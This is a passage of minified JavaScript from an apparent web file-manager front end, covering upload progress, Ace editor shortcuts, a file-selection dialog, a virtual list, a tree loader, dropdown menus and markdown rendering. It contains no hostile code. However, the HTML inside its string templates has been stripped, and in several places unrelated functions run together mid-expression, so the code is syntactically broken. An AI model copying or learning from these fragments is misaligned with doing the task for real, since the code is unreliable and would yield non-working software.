"+((r=c.uploader.getStatus()).success+1)+"/"+r.total),"md5Read"==e.uploadPercentType?(r=(100*e.percentMd5).toFixed(1),o=LNG["explorer.upload.scan"]+" "+r+"%"):1==e.percent&&(o=LNG["explorer.upload.merge"]+"..."),'\n\t\t\t\t
\n\t\t\t\t\t'+o+'\n\t\t\t\t\t'+i+s+"\n\t\t\t\t
");h.title(l+a).process({"process":n.percent,"text":r})},"itemUploadSuccess":function(e,t){if(!t.code||!t.info)return d?Tips.notify.tips({"title":o,"icon":"error","delay":2e3}):h.title(o).icon("error").processHide().close(3e3);d?i.push(t.info):(i=t.info,h.icon("success").process({"process":1,"text":LNG["explorer.saved"]}).title(a).close()),n&&r()},"itemUploadError":function(e,t){var i=t.data||(_.isString(t)?t:""),i=o+" "+i;if(!t.code||!t.info)return d?Tips.notify.tips({"title":i,"icon":"error","delay":2e3}):h.title(i).icon("error").processHide().close(3e3)},"uploadFinished":function(){if(!c.uploader.getStatus().finished)return n=!0;r()}})},"bindPast":function(e,t){var i=this;$(e).on("paste",function(e){i.pasteImage(e,t)})},"pasteImage":function(s,r,c){var i,l=this,e=s.originalEvent||window.event;e&&e.clipboardData&&e.clipboardData.items&&((c=c||{}).postParam=c.postParam||{},i=[],_.each(e.clipboardData.items,function(e){var t;"string"!=e.kind&&(t=(e=e.getAsFile()).name||"",c.allowAllFiles?(e.type||1').appendTo(c),c.find(".editor-full-screen").bind("click",function(){c.toggleClass("ace-editor-full"),e.resize(),e.focus()}),e.commands.addCommand({"name":"escFull","bindKey":"Esc","exec":function(e){c.removeClass("ace-editor-full"),e.resize(),e.focus()}})},"bindEditorEvent":function(e){var i=this;this.editorChange=_.debounce(_.bind(this.editorChange,this),50),this.cursorChange=_.debounce(_.bind(this.cursorChange,this),10),e.commands.addCommand({"name":"preview","bindKey":{"win":"Ctrl-alt-G","mac":"Ctrl-command-G"},"exec":function(e,t){t.findAll(t.session.getTextRange()),i.cursorChange(t)}}),e.on("change",function(e,t){i.editorChange(t)}),e.on("changeSelection",function(e,t){i.cursorChange(t)}),e.commands.addCommand({"name":"showKeyboardShortcuts","bindKey":{"win":"Ctrl-Alt-h","mac":"Command-Alt-h"},"exec":function(t){ace.config.loadModule("ace/ext/keybinding_menu",function(e){e.init(t),t.showKeyboardShortcuts()})}}),e.commands.addCommand({"name":"aceEditorSave","bindKey":{"win":"Ctrl-s","mac":"Command-s"},"exec":function(e){$(e.container).trigger("aceEditorSave")}}),e.commands.addCommand({"name":"convertUpper","bindKey":{"win":"Ctrl-U","mac":"Command-U"},"exec":function(e){e.toUpperCase()}}),e.commands.addCommand({"name":"convertLower","bindKey":{"win":"Ctrl-Shift-U","mac":"Command-Shift-U"},"exec":function(e){e.toLowerCase()}}),e.commands.addCommand({"name":"phpBeautify","bindKey":{"win":"Ctrl-Shift-B","mac":"Command-Shift-B"},"exec":function(t){ace.config.loadModule("ace/ext/beautify",function(e){e.beautify(t.session)})}}),this.editorMobileBind(e),e.insertRangeWith=_.bind(this.insertRangeWith,e),e.toUpperCase=function(){this.insertRangeWith(function(e){return e.toUpperCase()})},e.toLowerCase=function(){this.insertRangeWith(function(e){return e.toLowerCase()})},$(e.container).find(".ace_text-layer").bind("click",function(){e.$isFocused||e.focus()}),this.bind("onRemove",function(){this.destoryEditor(e)})},"destoryEditor":function(i){i.renderer&&(i.destroy(),i.container.remove(),_.each(i,function(e,t){delete i[t]}))},"insertRangeWith":function(o){var a=this,e=a.session.selection.ranges;_.isEmpty(e)&&(a.selection.isEmpty()&&a.selection.selectWord(),e=[a.getSelectionRange()]),_.each(e,function(e){var t=a.session.getTextRange(e)||"",t=o(t);if(t)try{var i=e.clone();i.end=a.session.replace(e,t),a.selection.addRange(i)}catch(n){}})},"editorMobileBind":function(e){var t;$.browserIS.ios&&$.isWindowTouch()&&(t=$(e.container).find(".ace_text-input"),$.setStyle(".ace_editor .ace_text-input{\n\t\t\topacity:0.05 !important;\n\t transform:none !important;\n\t width: 30px !important;\n\t height:20px !important;\n\t z-index:10 !important;\n\t\t}","ace-editor-mobile-ios"),e.getOption("readOnly"))&&t.addClass("hidden").attr("disabled","disabled")},"cursorChange":function(e){e&&this.trigger("editor.cursorChange",e)},"editorChange":function(e){e&&(e.$formMakerInput||(e.$formMakerInput=$(e.container).prev(),e.$formMakerInput.is("input"))||(e.$formMakerInput="notForm"),"notForm"!=e.$formMakerInput&&$(e.$formMakerInput).trigger("change"),this.trigger("editor.change",e))}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});i=i(10);t["default"]=i.ExplorerDialog.extend({"explorerApi":!0,"init":function(e){this.initDialogView(e),this.initCommon(e),this.disableStoreValue(),this.pathOpen=e.pathOpen||"",this.pathFile=e.pathFile||"",this.bindExplorerApi(),this.filterParseOption()},"initDialogView":function(e){var t=this,i={"type":"file","createFile":{"name":"newfile.txt","fileRepeat":"rename","content":"","base64":!1},"single":!0,"allowExt":"","pathOpen":"","pathTree":"","makeUrl":!1,"authCheck":"write","pathCheck":"","filter":"","pathCheckAllow":function(){},"callback":function n(){},"title":"","viewOption":!1,"cancel":!0,"lock":!0,"background":"#000","opacity":.2,"width":900,"height":500,"className":UUID()+" pathSelectApi ","ok":function(){return t.selectConfirm(),!1}},n=("file"!=(i=$.extend(!0,i,e)).type&&(i.allowExt=""),i.callback);i.callback=function(){n.apply(i,arguments),t.dialog.close()},this.param=e,this.options=$.objClone(i),this.initParam=this.options,i.title=e.title||this.defaultTitle(),this.initDialog(i),this.initApiView()},"initApiView":function(){this.$dialog=this.dialog.$main,this.$el=this.$dialog.find(".aui-content");var e='
\n\t\t\t'+this.initParam.allowExt+"\n\t\t
",t=this.$dialog.find(".aui-buttons");t.addClass("btn-actions"),t.parent().addClass("explorer-select-footer"),$(e).insertAfter(t),this.createFileView()},"createFileView":function(){var e,t,i,n,o;"createFile"==this.initParam.type&&(e=this.$dialog.find(".aui-state-highlight"),t=this.$dialog.find(".select-api-input-box input"),i=this.initParam.createFile.name,n=pathTools.pathExt(i),this.initParam.single=!0,t.removeAttr("readonly").val(i),n&&(o=i.length-n.length-1,this._delay(function(){t.textSelect(0,o).focus()},400)),t.keyEnter(function(){return e.hasClass("disable-event")?Tips.tips(LNG["explorer.selectValidFolder"],"warning"):e.trigger("click")}))},"defaultTitle":function(){var e;if(!this.initParam.title)return e=(e={"file":LNG["explorer.selectFile"],"folder":LNG["explorer.selectFolder"],"all":LNG["explorer.selectFolderFile"],"createFile":LNG["explorer.fileSaveTo"],"default":LNG["common.select"]})[this.initParam.type]||e["default"],this.initParam.single||(e+='"('+LNG["explorer.selectMulti"]+';)"'),e},"bindExplorerApi":function(){this.listenTo(this.select,{"select.change":this.selectChange,"select.init":function(){this.disableNotAllow(),this.selectChange()}}),this.pathAction.openFile=_.bind(function(e){var t=this.$dialog.find(".aui-state-highlight");t.hasClass("disable-event")||t.trigger("click")},this)},"disableStoreValue":function(){var e="-explorer-api",t=(this.pageing.storeKey+=e,this.history&&(this.history.storeKey+=e),this.tree&&(this.tree.history.storeKey+=e),this.path.contentView);t.splitResize&&(t.splitResize.storeKey+=e)},"selectResult":[],"resultParse":function(e){var t="name,path,pathDisplay,size,type,ext,createUser,downloadPath".split(",");return e=_.isArray(e)?_.map(e,function(e){return _.pick(e,t)}):_.pick(e,t)},"selectConfirm":function(){var e=this.initParam,t=this.resultParse(this.selectResult);if(!_.isEmpty(t))return"createFile"==e.type?this.callbackCreateFile(t):1==e.makeUrl?this.callbackMakeUrl(t):void e.callback(t,e)},"callbackMakeUrl":function(e){var t=[];this.initParam.single?t.push({"path":e.path}):_.each(e,function(e){t.push({"path":e.path})}),this.callbackPathInfo(t)},"callbackCreateFile":function(t){var i=this,e=this.$dialog.find(".select-api-input-box input"),n=this.initParam.createFile;n.path=_.trimEnd(t.path,"/")+"/"+e.val(),this.pathModel.newFile(n,function(e){if(!e||!e.code)return Tips.tips(e,!1);Events.trigger("path.pathChange",t.path,e),i.callbackPathInfo([{"path":e.info}])})},"callbackPathInfo":function(e){var t=this;this.pathModel.pathInfo({"dataArr":e},function(e){if(!e||!e.code)return Tips.tips(e,!1);e=t.resultParse(e.data);t.initParam.callback(e,t.initParam)})},"checkPathExt":function(e){var t=this.initParam.allowExt||"";return""==(t=t.toLowerCase().replace(/\|/g,",").replace(/\s/g,""))||_.includes(t.split(","),e)},"checkPathAuth":function(e){var t=this.initParam.authCheck,i=this.pathAction.auth;switch(t){case"read":return i.canRead(e);case"write":return i.canWrite(e);default:return!0}},"pathCheckType":function(e,t){switch(t){case"truePath":return e.isTruePath||e.sourceID;case"self":return"user"==e.targetType&&e.targetID==G.user.userID;case"group":return"group"==e.targetType;default:return!0}},"filterParseOption":function(){var e=this.options,t=this.pathAction.pathFilterParse(this.options.filter);t&&((e.filterMap=t).type&&(e.type=t.type),t.ext&&(e.allowExt=t.ext.join(",")),t.parent)&&"notRoot"!=t.parent&&!this.param.pathOpen&&(this.pathOpen="{source:"+t.parent+"}/")},"checkPath":function(e){var t=this.initParam;return!(!e||!this.checkPathAuth(e)||t.filterMap&&!this.pathAction.pathFilterCheck(e,t.filterMap)||t.pathCheck&&!this.pathCheckType(e,t.pathCheck)||t.pathCheckAllow&&!1===t.pathCheckAllow(e)||_.includes(["folder","createFile"],t.type)&&"folder"!=e.type||!("file"!=t.type||"file"==e.type&&this.checkPathExt(e.ext)))},"selectAdd":function(e){return!(this.initParam.single&&1<=this.selectResult.length||!this.checkPath(e)||(this.selectResult.push(e),0))},"selectChange":function(){var t,i=this,n=this.select.fileLight,e=n.listSelect,o=this.path.jsonData;this.selectResult=[],0==e.length?this.selectAdd(o.current):1<=e.length&&(t=[],_.each(e,function(e){i.selectAdd(e)||t.push(e)}),_.each(t,function(e){n.setStatus(e,"select",!1)})),!_.isEmpty(this.selectResult)&&this.initParam.single&&(this.selectResult=this.selectResult[0]),this.changeDialogStatus()},"disableNotAllow":function(){var i=this,e=this.select.fileLight;e.listAllEach(function(e){var t=!1;switch(i.options.type){case"file":t="file"==e.type&&!i.checkPathExt(e.ext);break;case"folder":case"createFile":t="file"==e.type}t&&(e._data.status.disabled=!0)}),e.listReloadView()},"changeDialogStatus":function(){var e=this.$dialog.find(".aui-state-highlight"),t="disable-event";return _.isEmpty(this.selectResult)?(e.addClass(t),this.changeText("")):(e.removeClass(t),this.initParam.single?this.changeText(this.selectResult.name):(t=_.map(this.selectResult,"name").join(", "),e="["+this.selectResult.length+"]"+LNG["common.items"]+";"+t,void this.changeText(e)))},"changeText":function(){var e=0",a=e.nickName||e.name||e.nameDisplay||"",e.userID==window.G.user.userID&&(a=LNG["common.me"]),"\n\t\t\t\n\t\t"):""}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=r(i(406)),o=r(i(407)),a=r(i(408)),s=r(i(409)),i=r(i(410));function r(e){return e&&e.__esModule?e:{"default":e}}n=_.extend(n["default"],o["default"],a["default"],s["default"],i["default"]);t["default"]=ClassBase.extend(n).extend({"nodeDataKey":"_VListnodeData","vlistType":"list","init":function(e){this.initData(e),this.bindEventScroll(),this.reloadViewAll()},"initData":function(n){var i={"$container":$(),"listData":[],"listPadding":{"top":5,"right":2,"bottom":100,"left":2},"nodeHeight":30,"nodeAutoHeight":!1,"nodeMargin":{"top":0,"left":0,"right":0,"bottom":0},"nodeHeaderMargin":{"top":0,"left":0,"right":0,"bottom":0},"nodeTemplate":"","nodeHeaderHeight":30,"nodeHeaderTemplate":"","nodeHeaderPinTop":!0,"scrollTouch":!1};this._each(i,function(e,t){var i=n.hasOwnProperty(t)?n[t]:e;this[t]=_.isObject(i)&&!$.isDom(i)?_.extend(e,i):i}),this._each(n,function(e,t){i.hasOwnProperty(t)||(this[t]=e)});this.$heightHolder=$('
').appendTo(this.$container),this.reloadViewAll(),this.resize=_.throttle(_.bind(this.resize,this),20),this.bind("onRemove",function(){this.reloadDataClear(),this.$heightHolder.remove()})},"bindEventScroll":function(){var t=this.$container,i=_.bind(this.scrollChange,this);t.bind("scroll",i),t.data("_vListView",this),this.bind("onRemove",function(e){t.unbind("scroll",i)}),this.bindEventScrollTouch()},"renderView":function(e,t){this.reloadData(e),t&&t()},"reloadData":function(e){this.listData=e=e||[{"header":!1,"list":[]}],this.reloadViewAll()},"reloadDataClear":function(){this.listArrShowClear(),this.eachListData(function(e){e._data=!1})},"animate":0,"animateSet":function(e){this.animate=0=o)return l(c);var d=o,h=c._data.$node||c._data.$pinHeader;h||(h=(h=$(this.makeHtmlHeader(c))).appendTo(this.$container),(c._data.$pinHeader=h).data(this.nodeDataKey,c)),n&&n!=c&&i<=(c=c._data.height+0)&&(d-=c-i),h.addClass("pin-header"),h.css({"position":"sticky","top":d-o})}},"getItemHeader":function(e){return!!e&&(e._data.isHeader?e:!!(e=this.listData[e._data.groupIndex])&&e.header)},"scrollChange":function(){this.scrollTop=this.$container.scrollTop(),this.reloadView(),this.trigger("onScroll")},"groupShowToggle":function(e,t){var i,e=this.getItemByDom(e);e&&e._data&&(i=this.listData[e._data.groupIndex||0])&&(i.hidden?(i.list=i._listBefore||[],delete i._listBefore):(i._listBefore=i.list||[],i.list=[]),t=t||"group-hidden",i.hidden=!i.hidden,e._data.status[t]=i.hidden,this.reloadViewAll())},"makeHtmlItem":function(e){var t=e._nodeTemplate||this.nodeTemplate;return this.renderHtml(t,e,!1)},"makeHtmlHeader":function(e){var t=e._nodeTemplate||this.nodeHeaderTemplate;return this.renderHtml(t,e,!1)},"setItemStatus":function(e,t,i){this.setStatus(e,t,i)&&this.reloadView()},"setStatus":function(e,t,i){if(!e||!e._data||!t)return!1;var n=e._data.$node;e._data.status[t]=i,n&&(!i&&n.hasClass(t)&&n.removeClass(t),i)&&!n.hasClass(t)&&n.addClass(t)},"getItemByDom":function(e){e=$(e).data(this.nodeDataKey);return!(!e||!e._data)&&e},"getItemStatusByDom":function(e){e=$(e).data(this.nodeDataKey);return e&&e._data&&e._data.status}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,i=i(2),s=(i=i)&&i.__esModule?i:{"default":i};function o(e){return function(){var c=e.apply(this,arguments);return new Promise(function(a,s){return function r(e,t){try{var i=c[e](t),n=i.value}catch(o){return void s(o)}if(!i.done)return Promise.resolve(n).then(function(e){r("next",e)},function(e){r("throw",e)});a(n)}("next")})}}t["default"]=ClassBase.extend({"childMarginLeft":15,"init":function(){},"requestData":function(e,t,i){},"dataFilter":function(e){return e},"treeNodeRenderAfter":function(e){},"initView":(n=o(s["default"].mark(function r(t,i){var n,o,a;return s["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return n="tree-"+roundString(5),o=this,(i=i||this.$el).attr("id",n),a={"async":{"enable":!0},"view":{"showLine":!1,"selectedMulti":!1,"expandSpeed":"fast","dblClickExpand":!1,"addDiyDom":_.bind(this.treeNodeRender,this)},"callback":{}},this.treeSetting=a,this.treeCallback["beforeAsync"]=this.beforeAsync,_.each(this.treeCallback,function(e,t){a.callback[t]=function(){var e=_.toArray(arguments);return o.trigger.apply(o,["tree."+t].concat(e)),o.treeCallback[t].apply(o,e)}}),e.next=10,requirePromise(VENDER_PATH+"zTree.js");case 10:if(this.$el){e.next=12;break}return e.abrupt("return","");case 12:this.defineTreeAsync(),this.requestData(t,function(e){this.initViewFinished(e,a,i,t,n)});case 14:case"end":return e.stop()}},r,this)})),function(e,t){return n.apply(this,arguments)}),"treeNodeRender":function(e,t){var e=$.fn.zTree.getZTreeObj(e).setting.treeObj,i="#"+t.tId+"_",n=e.find(i+"switch").remove(),o=this.childMarginLeft*t.level,o=(e.find(i+"ico").remove(),"\n\t\t\t\n\t\t\t"+n.prop("outerHTML")+'\t\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t');e.find(i+"span").before(o),t.$node=e.find(i+"a").addClass("tree-node"),t.$ico=e.find(i+"my_ico"),t.$span=e.find(i+"span"),t.$node.data("treeNode",t),this.treeNodeRenderAfter(t)},"initViewFinished":function(e,t,i,n,o){if(!this.$el)return"";var a=this.dataFilter(e);this.trigger("initBefore",e,t),$.fn.zTree.init(i,t,a),this.zTree=$.fn.zTree.getZTreeObj(o),this.zTree.rootPath=n,e&&e.code||this.$el.html('
'+LNG["explorer.systemError"]+"
"),this.trigger("initAfter",this.zTree)},"defineTreeAsync":function(){$.fn.zTree._z.view.asyncNodeBefore=$.fn.zTree._z.view.asyncNode,$.fn.zTree._z.view.asyncNode=function(e,t,i,n){return e.callback.beforeAsync.apply(this,[e,t,i,n])}},"beforeAsync":function(i,n,o,a){var s,e=$.fn.zTree,r=e.consts.event,c=e._z.view,l=e._z.tools;return!(n&&n.isAjaxing||((s=n.$ico).addClass("ico_loading"),n.isAjaxing=!0,this.requestData(n,function(e){s.removeClass("ico_loading"),n.isAjaxing=null,n.zAsync=!0;var t=this.dataFilter(e);_.isEmpty(n.children)||(t=[]),n.isParent=!_.isEmpty(t),c.setNodeLineIcos(i,n),this.zTree&&this.zTree.updateNode(n),n.isParent&&c.addNodes(i,n,-1,t,!!o),i.treeObj.trigger(r.ASYNC_SUCCESS,[i.treeId,n,e]),l.apply(a),this.trigger("tree.loadData",n)},function(){s.removeClass("ico_loading"),n.isAjaxing=null,c.setNodeLineIcos(i,n),i.treeObj.trigger(r.ASYNC_ERROR),l.apply(a),this&&this.trigger("tree.loadData",!1)}),0))},"expandAuto":function(e,i,n){var o=this.zTree;if(o){for(var a,s,t=!1,r=(e=_.isString(e)?_.filter(e.split(","),function(e){return e&&"0"!=e}):e).reverse(),c=[],l=0;l.content").offset().top+e.parents(".kodTable>.content").height()-i-s<20)?t.removeClass().addClass("dropdown tpTips"):void t.removeClass().addClass("dropdown btTips")},"make":function(e,t,i){i&&_.isArray(i)||(i=[{"action":"edit","name":LNG["common.edit"]}]);var n="",o=(_.each(i,function(e,t){n+='
  • '+e.name+"
  • "}),""),a=!0,i=!1,s=undefined;try{for(var r,c=t[Symbol.iterator]();!(a=(r=c.next()).done);a=!0){var l=r.value;o+='
  • '+l.name+"
  • "}}catch(d){i=!0,s=d}finally{try{!a&&c["return"]&&c["return"]()}finally{if(i)throw s}}return'
    \n\t\t\t'+n+'\n \n
    "}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){var t,n=function n(e){e=md5(e.substr(0,50)+e.substr(-50)+e.length);return e.substr(0,3)+e.substr(-3)},o=function o(e){requireAsync([VENDER_PATH+"markdown/markdown-it.min",VENDER_PATH+"markdown/highlight.min",VENDER_PATH+"markdown/mermaid.min",VENDER_PATH+"markdown/raphael.min",VENDER_PATH+"markdown/abcjs-basic-min",VENDER_PATH+"markdown/plantuml",STATIC_PATH_ALL+"app/vender/markdown/katex/katex.min.css",VENDER_PATH+"markdown/katex/katex.min.js"],function(){window.mermaid&&window.mermaid.initialize({"startOnLoad":!0}),requireAsync([VENDER_PATH+"markdown/flowchart.min"],function(){var t=markdownit({"html":!0,"breaks":!0,"linkify":!0,"typographer":!0});_.each(m["default"],function(e){t.use.apply(t,e)}),i(t),f=t,e&&e(t)})})},i=function i(e){functionHook(e,"validateLink",!1,function(e,t){if(t[0]&&t[0].match(/^data:image\/\w+;/))return!0})},r=[],c=function c(n,e,t){var o=e.split("\n"),a=[],s=0,e=d(e),e=(_.each(e,function(e,t){var e=e.map[0],i=_.slice(o,s,e).join("\n"),i=l(n,i);a.push(i),s=e}),_.slice(o,s).join("\n"));a.push(l(n,e)),h(a,t),p(t),r=a},l=function l(e,t){var i=_.find(r,["text",t]);return i||(t==(i=a(e,t))&&"\x3c!--"==i&&(i=htmlEncode(i)),{"text":t,"html":"
    "+i+"
    ","hash":e,"time":timeFloat()})},a=function a(e,t){var i=t;try{i=e.render(t||""),_.each(s,function(e){i=e(i)})}catch(n){}return i},s=[],d=function d(e){for(var t={"h1":"heading_open","h2":"heading_open","h3":"heading_open","h4":"heading_open","h5":"heading_open","h6":"heading_open","table":"table_open","blockquote":"blockquote_open","ul":"bullet_list_open","p":"paragraph_open","code":"fence"},i=[],n=markdownit().parse(e,{"references":{}}),o=_.keys(t),a=0;a